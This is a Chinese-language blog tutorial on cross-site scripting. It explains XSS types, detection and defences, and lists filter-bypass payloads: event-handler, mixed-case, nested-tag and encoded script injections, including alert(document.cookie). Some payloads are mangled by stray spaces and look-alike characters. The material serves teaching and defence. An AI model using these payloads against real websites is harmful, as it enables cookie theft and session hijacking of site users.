xss漏洞简介

漏洞简介

跨站脚本(Cross-site scripting ,简称 XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不足而产生的,是代码注入的一种,XSS就是攻击者利用网站漏洞把恶意脚本代码(js脚本代码,CSS样式,或者其他意料之外的前端代码)注入到网页中,当其他用户浏览该网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取,会话劫持、钓鱼欺骗等各种攻击。

漏洞可能出现的地方

有提交数据的地方,且输入的数据可以返回到前端。
重灾区:评论区,留言区,个人信息,订单信息等。
针对型:站内信,网站即时通讯,私信,意见反馈等
存在风险:搜索框,当前目录,图片属性,自定义头像链接等。

漏洞危害 

  • 盗取身份信息,窃取会话Cookie从而窃取网站用户隐私、包括账户、浏览历史、IP等。
  • 未授权操作,通过JS发起敏感操作请求。
  • 按键记录和钓鱼。
  • 更广泛的蠕虫传播,借助网站进行传播,使网站的使用用户受到攻击。
  • 劫持用户会话,从而知悉任意操作,比如弹窗跳转、篡改页面、网页挂马。
  • 总结:简而言之,就是所有js能做到的事,它都能做到。

XSS类型

反射型XSS

反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的,输入的内容不会存到数据库中(输 入内容会直接返回的参数都可能存在反射型XSS),攻击者诱导受害者点击包含恶意JavaSctipt代码的 URL,当受害者点击这些精心设计的链接后,恶意代码会直接在受害者主机上的浏览器执行;恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本反射回受害者的浏览器而使受害者的浏览器执行相应的脚本。

反射型XSS的攻击流程图下图

 

存储型XSS 

存储型 XSS 是指应用程序将存在 XSS payload 的数据未进行过滤检查便存入到数据库中,当下一次从数据库中获取该数据时程序也未对其进行合法性校验,直接将其展示在前端,页面将会执行XSS
payload攻击用户。
存储型 XSS 的攻击流程图下图

DOM型XSS 

DOM XSS 不与后端服务器交互数据, payload 不会存到数据库中,也属于反射型的一种,通过 dom 操作前端输出的时候产生问题。
DOM型XSS的攻击流程图下图

检测方法 

  • 寻找可控参数,URL中,提交的表单中,cookie等
  • 在可控参数中添加JS代码,发起请求。
  • 请求后在响应包中查看恶意代码是否被原样返回到前端页面(一般使用JS弹窗)
  • 若存在过滤,使用测试过滤字符:";--"=&{()},笔和得到完整的js代码。

绕过手段

 前端绕过

抓包重放,或者修改前端代码

替换关键函数,标签

有时候后端的过滤,编码只针对关键函数,如script,alert,因此可以采用一下方法绕过

1 、替换弹窗函数
< script > confirm ( 1 ) < /script>
弹窗函数:
alert 弹窗 : 普通弹窗提示
confirm ( "" ) 弹窗 :判断是否操作
prompt ( "" ) 弹窗:可以输入内容
window . open 自定义弹窗
2 、使用 js 指令
< img src = 1 onerror = alert ( 'xss' ) >
< img src = 1 onerror = "javascript:alert('xss');" >
< img src = 1 onerror = javascript : alert ( 'xss' ) >
3 、特殊标签
\ < a onmouseover = "alert(document.cookie)" \ > 正常标签,不要点我 \ < /a\>
\< a onmouseover = alert ( document . cookie )\ > 异常标签,不要点我 \ < /a\>
< IMG """><SCRIPT>alert('xss')</script>
4 、其他非黑名单标签和事件
< img >
payload < img src = 1 οnerrοr = alert ( "xss" ); >
< input >
payload : < input onfocus = "alert('xss');" >
< input οnblur = alert ( "xss" ) autofocus >< input autofocus > # 竞争焦点,触发
onblur 事件
< input onfocus = "alert('xss');" autofocus > # 通过 autofocus 属性执行本身的 focus
事件
< details >
payload : < details ontoggle = "alert('xss');" >
< details open ontoggle = "alert('xss');" > # 使用 open 属性触发 ontoggle 事件
< svg >
payload : < svg οnlοad = alert ( "xss" ); >

大小写绕过

一般后台对输入进行过滤有两种方法,以下两种方法可以用大小写混合的方式进行绕过,而后端是不管大小写的,可以正常执行我们的语句, 大小写方式如下
< ScRipt > Alert ( 1 ) < /SCRipt>
< IMG srC = '' onerror = alert ( 1 ) >

混写绕过

拼凑绕过:后端会对我们输入的标签进行替换,但只替换一次,所以可以这样
< scri < script > pt > alert ( "hello world!" ) < /scri</ script > pt >

这样经过后端的替换之后就会变成:

<script>alert("hello world!")</script>  

编码绕过

即对我们的payload进行编码,如URL编码,HTML编码

针对 < script > alert ( 1 ) < /script>
1 URL 编码
% 3 cscript % 3 ealert ( % 271 % 27 ) % 3 c % 2 fscript % 3 e
2 HTML 实体编码(可部分可全部)
< script > alert ( & quot ; 1 & quot ;) < /script>
3 UTF - 16
\ x3Cscript \ x3Ealert ( 1 )\ x3C \ x2Fscript \ x3E
4 、其他
八进制编码、十六进制编码、二进制编码、混合编码、 base64 编码、 Unicode

其他绕过

1、使用JS指令

< img src =' ' οnerrοr= javascript:alert('XSS')>

2、置空属性

< img src=' ' οnerrοr=alert('XSS')>

2、空格、tab绕过

< img src=' '  οnerrοr=javascript:alert('XSS')>

< img sec=' ' οnerrοr=javas        cript:alert('XSS')>

防御措施

输入检查

1 、假定所有输入都是可疑的,必须对所有输入中的 < > ' " on.* script iframe 等字
样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括 HTTP 请求中的 Cookie 中的变量,HTTP 请求头部中的变量等
2 、验证用户输入的数据类型,数据长度,数据内容(最好客户端与服务端均进行验证,服务端验证是必须的)
  • 如果数据类型为整型,则使用 intval 强制转换变量类型
  • 如果用户输入是手机号,那么就需要判断是否是11位数字
  • 如果数据内容为邮箱,则应使用正则取 A-Za-z0-9.@-_ 范围内的值,其它字符则忽略掉

输出编码

对用户的不可信的输入内容均采用编码的方式输出到页面中,常见的编码方式有以下三种:

  • URL编码
  • HTML编码
  • JavaScript编码

常见需要编码的字符

对用户输入的不信任的内容均采用编码的方式输出到页面中,输出编码手段主要有 3 种编码:
URL 编码
HTML 编码
JavaScript 编码
常见需要编码的字符:
需要编码的字符 编码后的字符
& &amp;
< &lt;
> &gt;
" &quot;
' &#x27;
/ &#x2f;

相关推荐

  1. Xss文件包含漏洞

    2024-05-04 23:46:03       19 阅读
  2. xss漏洞总结

    2024-05-04 23:46:03       15 阅读
  3. XSS实战漏洞挖掘

    2024-05-04 23:46:03       10 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-05-04 23:46:03       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-05-04 23:46:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-05-04 23:46:03       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-05-04 23:46:03       20 阅读

热门阅读

  1. OSTEP Projects:Unix Utilities

    2024-05-04 23:46:03       11 阅读
  2. 抖音起号快速涨粉的N个方法!

    2024-05-04 23:46:03       10 阅读
  3. 鸿蒙应用开发系列 篇一:鸿蒙系统概述

    2024-05-04 23:46:03       10 阅读
  4. Spring中的StreamUtils:流式处理利器

    2024-05-04 23:46:03       12 阅读
  5. [C++基础学习-05]----C++函数详解

    2024-05-04 23:46:03       8 阅读
  6. 数据存储-文件存储

    2024-05-04 23:46:03       13 阅读
  7. 如何删除.gitignore文件中指定的所有被忽略的文件

    2024-05-04 23:46:03       10 阅读
  8. Iterable和Iterator,你学会了吗?

    2024-05-04 23:46:03       11 阅读